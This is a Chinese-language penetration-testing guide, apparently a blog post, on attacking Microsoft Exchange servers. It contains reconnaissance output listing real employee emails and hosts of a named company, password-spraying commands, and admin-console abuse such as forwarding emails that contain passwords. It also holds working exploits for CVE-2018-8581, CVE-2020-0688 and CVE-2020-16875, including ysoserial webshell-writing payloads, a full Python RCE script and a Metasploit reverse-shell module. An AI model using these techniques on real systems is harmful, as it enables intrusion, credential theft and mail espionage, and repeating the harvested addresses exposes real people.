【旧文迁移】exchange学习
一、发现 Exchange
在渗透测试中,exchange是个特殊的存在,不管是对exchange的信件信息收集查看,还是对exchange进行入侵渗透,对内网都有极大的帮助,当进行信息收集与环境侦察时,发现与识别 Exchange 及其相关服务,可以有多种方法与途径。
1、邮件服务器查找
在公网上寻找 Exchange 邮件服务器可以通过访问目标域名的邮箱地址来寻找查看。或者通过shadon、fofa等进行针对性查找,或者对子域名进行收集,或者使用swaks进行查找。
对内网环境中的 Exchange 可以尝试遍历ip地址,收集https:\\ip\owa的返回信息判断。

2、端口与服务
Exchange 的正常运行需要多个服务与功能组件之间相互依赖与协调,因此,安装了 Exchange 的服务器上会开放某些端口对外提供服务,不同的服务与端口可能取决于服务器所安装的角色、服务器进行的配置、以及网络环境与访问控制的安全配置等。通过端口发现服务,来识别确认服务器上安装了 Exchange ,是最常规也是最简易的方法。

3、SPNs名称查询
SPN(Service Principal Name),是Kerberos认证中不可缺少的,每一个启用Kerberos认证的服务都拥有一个SPN,如文件共享服务的SPN为cifs/domain_name,LDAP服务的SPN为ldap/domain_name,在Kerberos认证过程,客户端通过指定SPN让KDC知晓客户端请求访问的是哪个具体服务,并使用该服务对应的服务账号的密钥来对最终票据进行加密。
在活动目录数据库中,每一个计算机对象有一个属性名为servicePrincipalName,该属性的值是一个列表,存储着该计算机启用Kerberos认证的每一个服务名称。安装在Windows域环境中的 Exchange 服务同样会接入Kerberos认证,因此,Exchange 相关的多个服务,应该都可以从该属性中找到对应的SPN。
执行SPN名称查找的工具和方法有很多,直接以域内的一台工作机,通过setspn查询获得。
SPN是启用Kerberos的服务所注册的便于KDC查找的服务名称,这些SPN名称信息被记录在活动目录数据库中,只要服务安装完成,这些SPN名称就已经存在,除非卸载或删除,SPN名称查询与当前服务是否启动没有关系(如 Exchange 服务器的IMAP/POP等部分服务默认是不启动的,但其SPN名称同样存在)。
4.exchange邮箱收集
root@localhost:~/theHarvester# python3 theHarvester.py -d qianxin.com -l 500 -b google
*******************************************************************
* _ _ _ *
* | |_| |__ ___ /\ /\__ _ _ ____ _____ ___| |_ ___ _ __ *
* | __| _ \ / _ \ / /_/ / _` | '__\ \ / / _ \/ __| __/ _ \ '__| *
* | |_| | | | __/ / __ / (_| | | \ V / __/\__ \ || __/ | *
* \__|_| |_|\___| \/ /_/ \__,_|_| \_/ \___||___/\__\___|_| *
* *
* theHarvester 3.2.2 *
* Coded by Christian Martorella *
* Edge-Security Research *
* cmartorella@edge-security.com *
* *
*******************************************************************
[*] Target: qianxin.com
Searching 0 results.
Searching 100 results.
Searching 200 results.
Searching 300 results.
Searching 400 results.
Searching 500 results.
[*] Searching Google.
[*] No IPs found.
[*] Emails found: 10
----------------------
dingyinghui@qianxin.com
first-rep@qianxin.com
globalpartner@qianxin.com
ir@qianxin.com
kefu@qianxin.com
liqinglu@qianxin.com
lvkaokao@qianxin.com
qdhz@qianxin.com
ti_support@qianxin.com
zhangmengyang@qianxin.com
[*] Hosts found: 19
---------------------
anyu.qianxin.com:121.32.243.63
bcs.qianxin.com:121.32.243.63
campus.qianxin.com:121.32.243.63
checkdnslog.jiance.qianxin.com:211.95.50.203
codesafe.qianxin.com:121.32.243.63
en.qianxin.com:121.32.243.63
h5.qianxin.com:121.32.243.63
kajsduaidh123bd.appstore.qianxin.com
sandbox.ti.qianxin.com:36.99.137.24
shs3.b.qianxin.com:153.101.141.81, 153.101.141.131, 153.101.141.80, 153.101.141.77, 153.101.141.133, 153.101.141.79, 153.101.141.76, 153.101.141.132
taishi.jiance.qianxin.com:211.95.50.73
ti.qianxin.com:211.95.50.35
wangzhan.qianxin.com:121.32.243.63
webscan.qianxin.com:121.32.243.63
www.qianxin.com:121.32.243.63
x22h5.qianxin.com
x22shs3.b.qianxin.com
x22ti.qianxin.com
-b SOURCE, --source SOURCE
baidu, bing, bingapi, bufferoverun, certspotter, crtsh, dnsdumpster,
duckduckgo, exalead, github-code, google, hackertarget, hunter, intelx,
linkedin, linkedin_links, netcraft, otx, pentesttools, projectdiscovery,
qwant, rapiddns, securityTrails, spyse, sublist3r, threatcrowd, threatminer,
trello, twitter, urlscan, virustotal, yahoo
二、暴力破解
针对 Exchange 服务的利用,包括各类漏洞在内,都有一个很重要的前提,就是必须要有一个有效的可登录用户账户。因此,在发现 Exchange 服务之后,最重要的一步就是获得用户账户。
1、owa登录爆破
通常情况下,Exchange 系统是不会对邮箱登录次数做限制的,因此,利用大字典来进行爆破,是最为简易和最为常见的一种突破方法。
Exchange 邮箱的登录账号分为三种形式,分别为“domain\username”、“username”和“user@domain(邮件地址)”,这三种方式可以并存使用,也可以限制具体一种或两种使用。
具体使用哪一种用户名登录可以根据登录口的提示确定,但这并不百分百准确,管理员通过修改配置或者登录页面,可以自行设置登录方式,和提示说明。因此如果直接使用 owa 页面爆破,用户名需要尝试全部三种方式。
爆破方式使用 burp 即可,通过返回包长短即可判断成功与否。

2、特殊接口爆破
对于某些限制登录次数的网站,还可以尝试对其NTLM验证接口进行爆破,最常见的就是ews接口,但除ews接口以外,还有以下接口地址。
/Autodiscover/Autodiscover.xml
/Microsoft-Server-ActiveSync/default.eas
/Microsoft-Server-ActiveSync
/Autodiscover
/Rpc/
/EWS/Exchange.asmx
/EWS/Services.wsdl
/EWS/
/OAB/
/Mapi
| endpoint | 说明 |
|---|---|
| /autodiscover | 自 Exchange Server 2007 开始推出的一项自动服务,用于自动配置用户在Outlook中邮箱的相关设置,简化用户登陆使用邮箱的流程。 |
| /ecp “Exchange Control Panel” | Exchange 管理中心,管理员用于管理组织中的Exchange 的Web控制台 |
| /ews “Exchange Web Services” | Exchange Web Service,实现客户端与服务端之间基于HTTP的SOAP交互 |
|/mapi| Outlook连接 Exchange 的默认方式,在2013和2013之后开始使用,2010 sp2同样支持
|/Microsoft-Server-ActiveSync| 用于移动应用程序访问电子邮件|
|/OAB “Offline Address Book”| 用于为Outlook客户端提供地址簿的副本,减轻 Exchange 的负担|
|/owa “Outlook Web APP”| Exchange owa 接口,用于通过web应用程序访问邮件、日历、任务和联系人等|
|/powershell| 用于服务器管理的 Exchange 管理控制台|
|/RPC| 早期的 Outlook 还使用称为 Outlook Anywhere 的 RPC 交互|
2.1 ntmlscan
使用 ntmlscan 工具(https://github.com/nyxgeek/ntlmscan)扫描

2.2 jason
jasom,该工具来源于apt34,用于多版本多接口的exchange爆破



2.3mailsniper
mailsniper提供分别针对OWA接口、EWS接口和ActiveSync接口的password spray
powershell -exec bypass
Import-Module .\MailSniper.ps1
Invoke-PasswordSprayEWS -ExchHostname exchange.finger.com -UserList .\users.txt -Password 123qwe!@# -ExchangeVersion Exchange2013_SP1
-ExchHostname:ping -a exchange服务器ip -> 得到主机名 -> 主机名拼接域名(如:owa2013.rootkit.org)
-ExchangeVersion:若不知道可先不指定

2.4EBURST
python EBurst.py -L users.txt -p 123456abc -d mail.xxx.com
3.ruler 爆破
ruler 是个知名度较高的 Exchange 利用工具,可以通过 MAPI/HTTP 或 RPC/HTTP 协议远程与 Exchang e服务器交互。其主要目的是滥用客户端 Outlook 特性并远程获取shell,进行信息收集和攻击
-k 忽略证书

三.导出通讯录
-
mailsniper

2.ruler
ruler_windows_amd64.exe --insecure --url https://MAIL/autodiscover/autodiscover.xml --email xxx.com -u xxx -p 密码 --verbose --debug abk dump -o list.txt
3.burp
通过burp进行抓包,进行正则匹配筛选
四 、Exchange Admin Center(ecp)管理
exchange server默认将其管理页面入口Exchange Admin Center(ecp)和其正常邮箱登录口Outlook Web Access(owa)一同发布。默认登陆地址为https://domain/ecp/

对于普通权限的用户,该登录口无利用价值,但管理员用户在该口登陆,可完成权限内任意操作,包括增、删、改邮箱,添加规则,设置代收,修改用户权限等全部操作。
1、邮箱托管
Exchange 邮件服务存在一种机制,可以设置权限将邮箱委托给指定用户管理使用。
这种委托可以是全局的委托,可以通过后台修改;也可以是对单独文件夹进行委托,用户自行对文件夹设置。
因此,当 ecp 可登录且拥有管理员权限时,就可以通过添加邮箱委托的方式,实现邮箱控制。在默认情况下,某些管理员在配置时,组用户会默认拥有对组内用户的委托管理权限。
添加委托:
ecp ——> 收件人 ——> 目标用户 ——> 邮件委托 ——> 完全访问添加指定用户

添加完成后,使用指定用户登录正常 owa 页面,选择打开其他邮箱即可

另一种邮箱文件夹的权限委托,相对隐蔽,在用户的指定文件夹上设置权限,即可使其他用户具有访问操作权限。主要利用可以参考 CVE-2018-8581,可以通过 ews 接口实现以上操作。
首先在目标用户文件夹添加指定用户权限。

在指定用户文件夹下添加共享文件用户。


2、邮箱管理员
在 ecp 中也可以实现添加邮箱管理员权限。
注:域管 administrator 默认为邮箱管理员,但邮箱管理员和域管其实并无关系。添加邮箱管理员不会修改用户域内权限。

3、邮件检索
在后台管理中,还有一项多邮箱检索邮件的功能,但较为耗时,对于体量较大的邮件系统不建议使用,推荐进行用户精准查询
合规性管理 ——> 就地电子数据展示和保留 ——> 添加规则


4、全局规则
在 ecp 后台,可以添加全局规则,此处的规则只是简单利用,例如新建规则代收邮件,将全部带有关键词 password 的邮件抄送指定邮箱一份。

5.精准检索
在确定人员的信息后,想精准检索人与人之间的精准信息,可以使用该项功能

五、exchange常见漏洞
cve-2018-8581
一、影响范围
- Exchange Server 2010
- Exchange Server 2013
- Exchange Server 2016
二、利用条件
1、公网越权
- 一个可登录的邮箱用户账号密码
- 可以获取目标用户 SID
- exchange 服务器开启 ews 接口
- 一台 exchange 服务器可访问的服务器
2、内网提权
- 一个可登录的邮箱用户账号密码。
- 一台内网可控服务器,可被 exchange 服务器访问,且可访问 DC 服务器。
三、漏洞原理
首先,Exchange 允许任意用户(只要是通过了认证的)通过 EWS 接口来创建一个推送订阅(Push Subscription),并可以指定任意 URL 作为通知推送的目的地; 其次,通知被订阅推送后,当触发推送时,Exchange 使用了 CredentialCache 类的 DefaultCredentials 属性,由于 EWS 以 SYSTEM 权限运行,当使DefaultCredentials 时发出的 HTTP 请求将使用该权限发起 NTLM 认证; 在 EWS 请求中,通过在 Header 中使用 SerializedSecurityContext,指定 SID 可以实现身份伪装,从而以指定用户身份进行 EWS 调用操作。
该漏洞本质上是一个 SSRF 漏洞,漏洞成因主要是由于 exchange 底层逻辑中访问用户‘订阅’时,会使用系统用户的 net-ntlm hash 去访问目标地址。因此,可以构造恶意服务器抓取 exchange 服务器系统账户的 net-ntlm hash 并重放,中继到管理员权限。
在公网利用,是将系统的 net-ntlm hash 重放回 exchange 服务器,利用 ews 接口以管理员身份执行操作。可以给指定用户的指定文件夹添加权限,使别人可以接管该文件夹。
在内网中的利用,则是直接重放回 DC 服务器,中继到域管权限并执行进一步操作,相当于实现域内提权。更细节一点说,就是 exchange 的机器账号在域内对 ldap 有修改 acl 的权限。因此可以通过修改 acl 实现进一步利用,提升指定用户为域管或 dump 域 hash。
四、漏洞利用
1、公网越权
1.获取 SID
获取 SID 方法有很多,可以使用脚本,也可以手工。
使用脚本修改指定参数执行即可,如图所示。


使用手工的方法,在文件夹修改权限处添加目标邮箱,重新打开文件夹属性,然后抓取返回包即可。


2、内网提权
域内提权操作共用是余个步骤,但实际操作可以使用脚本一键解决。(原方法https://blog.csdn.net/weixin_42255372/article/details/103618358)
这里推荐使用打包好的工具 https://github.com/Ridter/Exchange2domain
直接使用获取域用户 hash 。
python Exchange2domain.py -ah attackterip -ap listenport -u user -p password -d domain.com -th DCip MailServerip
//python Exchange2domain.py -ah 192.168.184.131 -ap 888 -u test01 -d gfinger.com -th 192.168.184.200 192.168.194.190

如果只想转储jertgt:
python Exchange2domain.py -ah 192.168.184.131 -ap 88 -u test01 -d gfinger.com -th 192.168.184.200 --just-dc-user krbtgt 192.168.184.190

注意事项
1.impacket 版本
虽然 impacket 工具十分强大,但是兼容问题很大。
不同版本之间存在一定差异,且不一一定可以上下兼容。因此,在调用此包时最好安装指点版本调用,否则极易报错。
2.Exchange2domain 调用
如果出现报错 ImportError: No module named rpcrelayclient 大概率是 impacket 版本不对导致的,重装版本 0.9.19 可以解决。
CVE-2020-0688
一、影响范围
- Exchange Server 2010 Service Pack 3
- Exchange Server 2013
- Exchange Server 2016
- Exchange Server 2019
二、利用条件
- ecp 接口可访问
- 任意可登录账户密码
三、漏洞原理
这个漏洞是由于 Exchange 服务器在安装时没有正确地创建唯一的加密密钥所造成的。
具体来说,与正常软件安装每次都会产生随机密钥不同,所有 Exchange Server 在安装后的 web.config 文件中都拥有相同的 validationKey 和 decryptionKey 。这些密钥用于保证 ViewState 的安全性。而 ViewState 是 ASP.NET Web 应用以序列化格式存储在客户机上的服务端数据。客户端通过 __VIEWSTATE 请求参数将这些数据返回给服务器。攻击者可以在 ExchangeControl Panel web(ecp) 应用上执行任意 .net 代码。
当攻击者通过各种手段获得一个可以访问 Exchange Control Panel(ECP)组件的用户账号密码时。攻击者可以在被攻击的 Exchange 上执行任意代码,直接获取服务器权限。
四、漏洞利用
1.获取需要变量
想要利用该漏洞,我们需要四个参数,分别为:
–validationkey = CB2721ABDAF8E9DC516D621D8B8BF13A2C9E8689A25303BF(默认,漏洞产生原因)
–validationalg = SHA1(默认,漏洞产生原因)
–generator = B97B4E27(基本默认)
–viewstateuserkey = ASP.NET_SessionId(手工获取,变量,每次登陆都不一致)
在这四个变量中,前两个为默认固定,viewstateuserkey 和 generator 的值需要从经过身份验证的 session 中收集。viewstateuserkey 可以从 ASP.NET 的_SessionID cookie 中获取,而 generator 可以在一个隐藏字段 __VIEWSTATEGENERATOR 中找到。所有这些都可以通过浏览器中的工具轻松获取。
2.获取 viewstateuserkey 和 generator 值
在正常登录后访问 /ecp/default.aspx 页面。使用 F12 开发者工具的 Network 选项,刷新页面重新发送请求,找到登录时 /ecp/default.aspx 的原始响应。
在 Headers 选项卡找到 ASP.NET_SessionId 的 cookie:

在 Response 选项卡搜索 __VIEWSTATEGENERATOR 获取字段值:

如果未找到此字段也无所谓,直接使用默认值 B97B4E27 即可。
3.使用工具生成payload
使用 ysoserial.net 工具生成反序列化 payload。工具下载地址:https://github.com/pwntester/ysoserial.net/
生成payload命令:
ysoserial.exe-p ViewState -g TextFormattingRunProperties -c "calc.exe" --validationalg="SHA1"--validationkey="CB2721ABDAF8E9DC516D621D8B8BF13A2C9E8689A25303BF"--generator="B97B4E27" --viewstateuserkey="d673d1a4-1794-403e-ab96-e283ca880ef2"--isdebug --islegacy
4.构造攻击地址
在生成完 payload 代码后,需要对该代码进行 URL Encode 编码构造一个 URL :
/ecp/default.aspx?__VIEWSTATEGENERATOR=<generator>&__VIEWSTATE=<ViewState>
将最开始获得的 __VIEWSTATEGENERATOR 值替换 <generator>,将 URL Encode 编码后的 payload 替换 <ViewState>。
5.访问地址并成功执行
访问构造好的URL地址,服务器会弹出500的错误,但攻击其实成功了。

登录服务器查看进程,发现计算器成功启动。

五、其他问题
1、关于版本
网上一些说法该漏洞对大版本的小版本有限制。其实不是这样的,应该是全版本通杀的。目前测试owa2013和owa2016均成功
2、__VIEWSTATEGENERATOR
在最初版本的时候一直没有这个参数(确实不重要,基本为默认值),造成这一问题的主要原因是没有更新系统补丁 KB2919355,更新该补丁后就会出现 __VIEWSTATEGENERATOR 字段。
3、无法创建文件
大部分复现者只复现到启动计算器,但是却无法创建文件。但经过测试发现问题出在ysoserial.exe 的 -c 参数上,虽然在演示过程中可以直接 -c “echo OOOPS!!! > c:/Vuln_Server.txt” 创建文件,让人误以为 -c 是在 cmd 窗口下运行,但是实际上 -c 实际为“运行”的内容,因此直接 echo 是不行的,需要 -c “cmd /c echo test > C:\1.txt”,经测试成功创建文件,如图所示:

4、路径空格
在需要 getshell 时,由于路径中存在空格,需要使用双引号,但这会与外面的双引号冲突。解决方法:
短字节
8.3 格式通常指较旧的 Windows 操作系统或 DOS 的文件命名限制。
8 指文件名最大长度为 8。
3 指扩展名最大长度为 3。
若不符合以上限制则会以”~“作延长名称如 Program Files 会变成 Progra~1 ,若同一文件夹有相似的名称,末端的数值则会自动递增。
使用 dir /x 可以查询 8.3 短字节。
使用 8.3 短字节的方式同样可以绕开部分空格限制。
ysoserial.exe -p ViewState -g TextFormattingRunProperties -c " cmd /c echo test >C:\PROGRA~1\Microsoft\EXCHAN~1\V15\FrontEnd\HttpProxy\owa\auth\5.aspx" --validationalg="SHA1" --validationkey="CB2721ABDAF8E9DC516D621D8B8BF13A2C9E8689A25303BF" --generator="B97B4E27" --viewstateuserkey="58eaa1b9-f4ac-4248-9c69-3be8dc01c4bb" --isdebug --islegacy
附:owa的文件路径
C:\Program Files\Microsoft\Exchange Server\V15\FrontEnd\HttpProxy\owa\auth

附:头像哥后面武器化了该漏洞,可以直接使用利用工具 http://www.zcgonvh.com/post/weaponizing_CVE-2020-0688_and_about_dotnet_deserialize_vulnerability.html
CVE-2020-16875
一、影响范围
- Exchange Server 2016 版本小于 cu17
- Exchange Server 2019 版本小于 cu6
二、利用条件
-
必须需要管理员用户,或用户必须(至少)具有
Data Loss Prevention权限,具有该权限账号通常为Microsoft Exchange Securitiy Groups组成员。而Microsoft Exchange Securitiy Groups组成员通常为 Exchange 管理员。 -
该组其他用户也能利用该模块或 powershell 远程接口执行命令。
-
/ecp/接口,/ecp/DLPPolicy/ManagePolicyFromISV.aspx页面可访问。 -
Exchange 服务器 powershell 版本需要在 5.0 及以上。补丁包KB3191564
-
/powershell/接口,非必须,msf 中的工具需要。附
官方查询版本地址:https://docs.microsoft.com/zh-cn/Exchange/new-features/build-numbers-and-release-dates?view=exchserver-2019
三、漏洞原理
该漏洞主要利用 DLP 策略设置处漏洞,将构造好的 XML 文件上传至服务器并执行。
防止数据丢失(Data loss Prevention)是Exchange Server 2013带来的一个新功能,感觉其实应该叫做防止数据泄露,许多第三方工具和设备也有类似的功能,而在Exchange 2013中直接集成了,并且之前的传输规则也整合到了一起。该功能通过对内容的深入分析,能够帮助企业识别、监控和保护敏感信息传递。
DLP通过关键字匹配、词典匹配、正则表达式的评估,和其他内容的检查,深入分析内容以发现组织内违法DLP规则的内容。一旦发现了违反了规则的内容,DLP会对用户进行提醒或者是组织,告知提醒用户邮件包含敏感内容或者违规传递。
参考链接:https://www.anquanke.com/post/id/219091
四、漏洞利用
1、手工方式
1、登录访问 /ecp/DLPPolicy/ManagePolicyFromISV.aspx 页面
访问此页面需要用户至少具有 Data Loss Prevention 权限,才可访问。

2、构造恶意 XML 文件上传
替换以下 POC 中命令执行的内容,然后保存为 XML 文件并上传。需要注意的是,如果目标机器 powershell 版本为 5.0 以下,以下 POC 无法使用。
POC:
<?xml version="1.0" encoding="UTF-8"?>
<dlpPolicyTemplates>
<dlpPolicyTemplate id="F7C29AEC-A52D-4502-9670-141424A83FAB" mode="Audit" state="Enabled" version="15.0.2.0">
<contentVersion>4</contentVersion>
<publisherName>Microsoft</publisherName>
<name>
<localizedString lang="en">PCI-DSS-12345</localizedString>
</name>
<description>
<localizedString lang="en">Detects the presence of information subject to Payment Card Industry Data Security Standard (PCI-DSS) compliance requirements.</localizedString>
</description>
<keywords></keywords>
<ruleParameters></ruleParameters>
<policyCommands>
<!-- The contents below are applied/executed as rules directly in PS - -->
<commandBlock>
<![CDATA[ $i=New-object System.Diagnostics.ProcessStartInfo;$i.UseShellExecute=$true;$i.FileName="cmd";$i.Arguments="/c cmd.exe";$r=New-Object System.Diagnostics.Process;$r.StartInfo=$i;$r.Start(); ]]>
</commandBlock>
</policyCommands>
<policyCommandsResources></policyCommandsResources>
</dlpPolicyTemplate>
</dlpPolicyTemplates>
powershell 版本不够:

powershell 升级到 5.0 后可以正常执行。
2、python3 脚本工具
#!/usr/bin/env python3
"""
Microsoft Exchange Server DlpUtils AddTenantDlpPolicy Remote Code Execution Vulnerability
Patch: https://portal.msrc.microsoft.com/en-us/security-guidance/advisory/CVE-2020-16875
# Notes:
The (ab)user needs the "Data Loss Prevention" role assigned and if performing the attack over the ecp interface (this poc) then the user will need an active mailbox.
[PS] C:\Windows\system32>New-RoleGroup -Name "dlp users" -Roles "Data Loss Prevention" -Members "harrym"
Name AssignedRoles RoleAssignments ManagedBy
---- ------------- --------------- ---------
dlp users {Data Loss Prevention} {Data Loss Prevention-dlp users} {exchangedemo.com/Microsoft Exchange Security Groups/Organization Management, exchangedemo.com/Users/test}
[PS] C:\Windows\system32>Get-RoleGroup "dlp users" | Format-List
RunspaceId : 098e1140-30e3-4144-8028-2174fdb43b85
ManagedBy : {exchangedemo.com/Microsoft Exchange Security Groups/Organization Management, exchangedemo.com/Users/test}
RoleAssignments : {Data Loss Prevention-dlp users}
Roles : {Data Loss Prevention}
DisplayName :
ExternalDirectoryObjectId :
Members : {exchangedemo.com/Users/Harry Mull}
SamAccountName : dlp users
Description :
RoleGroupType : Standard
LinkedGroup :
Capabilities : {}
LinkedPartnerGroupId :
LinkedPartnerOrganizationId :
Identity : exchangedemo.com/Microsoft Exchange Security Groups/dlp users
IsValid : True
ExchangeVersion : 0.10 (14.0.100.0)
Name : dlp users
DistinguishedName : CN=dlp users,OU=Microsoft Exchange Security Groups,DC=exchangedemo,DC=com
Guid : fa5c8458-8255-4ffd-b128-2a66bf9dbfd6
ObjectCategory : exchangedemo.com/Configuration/Schema/Group
ObjectClass : {top, group}
WhenChanged : 6/12/2020 11:29:31 PM
WhenCreated : 6/12/2020 11:29:31 PM
WhenChangedUTC : 6/12/2020 3:29:31 PM
WhenCreatedUTC : 6/12/2020 3:29:31 PM
OrganizationId :
Id : exchangedemo.com/Microsoft Exchange Security Groups/dlp users
OriginatingServer : DEAD01.exchangedemo.com
ObjectState : Changed
# Example:
researcher@incite:~$ ./poc.py
(+) usage: ./poc.py <target> <user:pass> <cmd>
(+) eg: ./poc.py 192.168.75.142 harrym@exchangedemo.com:user123### mspaint
researcher@incite:~$ ./poc.py 192.168.75.142 harrym@exchangedemo.com:user123### mspaint
(+) logged in as harrym@exchangedemo.com
(+) found the __viewstate: /wEPDwUILTg5MDAzMDFkZFAeyPS7/eBJ4lPNRNPBjm8QiWLWnirQ1vsGlSyjVxa5
(+) executed mspaint as SYSTEM!
"""
import re
import sys
import random
import string
import urllib3
import requests
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
def random_string(str_len=8):
letters = string.ascii_lowercase
return ''.join(random.choice(letters) for i in range(str_len))
def get_xml(c):
return """<?xml version="1.0" encoding="UTF-8"?>
<dlpPolicyTemplates>
<dlpPolicyTemplate id="F7C29AEC-A52D-4502-9670-141424A83FAB" mode="Audit" state="Enabled" version="15.0.2.0">
<contentVersion>4</contentVersion>
<publisherName>si</publisherName>
<name>
<localizedString lang="en"></localizedString>
</name>
<description>
<localizedString lang="en"></localizedString>
</description>
<keywords></keywords>
<ruleParameters></ruleParameters>
<policyCommands>
<commandBlock>
<![CDATA[ $i=New-object System.Diagnostics.ProcessStartInfo;$i.UseShellExecute=$true;$i.FileName="cmd";$i.Arguments="/c %s";$r=New-Object System.Diagnostics.Process;$r.StartInfo=$i;$r.Start() ]]>
</commandBlock>
</policyCommands>
<policyCommandsResources></policyCommandsResources>
</dlpPolicyTemplate>
</dlpPolicyTemplates>""" % c
def trigger_rce(t, s, vs, cmd):
f = {
'__VIEWSTATE': (None, vs),
'ctl00$ResultPanePlaceHolder$senderBtn': (None, "ResultPanePlaceHolder_ButtonsPanel_btnNext"),
'ctl00$ResultPanePlaceHolder$contentContainer$name': (None, random_string()),
'ctl00$ResultPanePlaceHolder$contentContainer$upldCtrl': ("dlprce.xml", get_xml(cmd)),
}
r = s.post("https://%s/ecp/DLPPolicy/ManagePolicyFromISV.aspx" % t, files=f, verify=False)
assert r.status_code == 200, "(-) failed to trigger rce!"
def leak_viewstate(t, s):
r = s.get("https://%s/ecp/DLPPolicy/ManagePolicyFromISV.aspx" % t, verify=False)
match = re.search("<input type=\"hidden\" name=\"__VIEWSTATE\" id=\"__VIEWSTATE\" value=\"(.*)\" />", r.text)
assert match != None, "(-) couldn't leak the __viewstate!"
return match.group(1)
def log_in(t, usr, pwd):
s = requests.Session()
d = {
"destination" : "https://%s/owa" % t,
"flags" : "",
"username" : usr,
"password" : pwd
}
s.post("https://%s/owa/auth.owa" % t, data=d, verify=False)
assert s.cookies.get(name='X-OWA-CANARY') != None, "(-) couldn't leak the csrf canary!"
return s
def main(t, usr, pwd, cmd):
s = log_in(t, usr, pwd)
print("(+) logged in as %s" % usr)
vs = leak_viewstate(t, s)
print("(+) found the __viewstate: %s" % vs)
trigger_rce(t, s, vs, cmd)
print("(+) executed %s as SYSTEM!" % cmd)
if __name__ == '__main__':
if len(sys.argv) != 4:
print("(+) usage: %s <target> <user:pass> <cmd>" % sys.argv[0])
print("(+) eg: %s 192.168.75.142 harrym@exchangedemo.com:user123### mspaint" % sys.argv[0])
sys.exit(-1)
trgt = sys.argv[1]
assert ":" in sys.argv[2], "(-) you need a user and password!"
usr = sys.argv[2].split(":")[0]
pwd = sys.argv[2].split(":")[1]
cmd = sys.argv[3]
main(trgt, usr, pwd, cmd)
3、MSF6 自带模块
MSF6 自带模块 exchange_ecp_dlp_policy 可以自动利用该漏洞反弹 shell。但是需要攻击端可被访问。同样需要 Exchange 服务器 powershell 版本为 5.0 以上。
use exploit/windows/http/exchange_ecp_dlp_policy
set rhost
set username
set password
set lhost

五、注意事项
该漏洞条件太为苛刻,不仅要求管理员账号(默认配置),还需要服务器 powershell 版本,实用价值不大。

浙公网安备 33010602011771号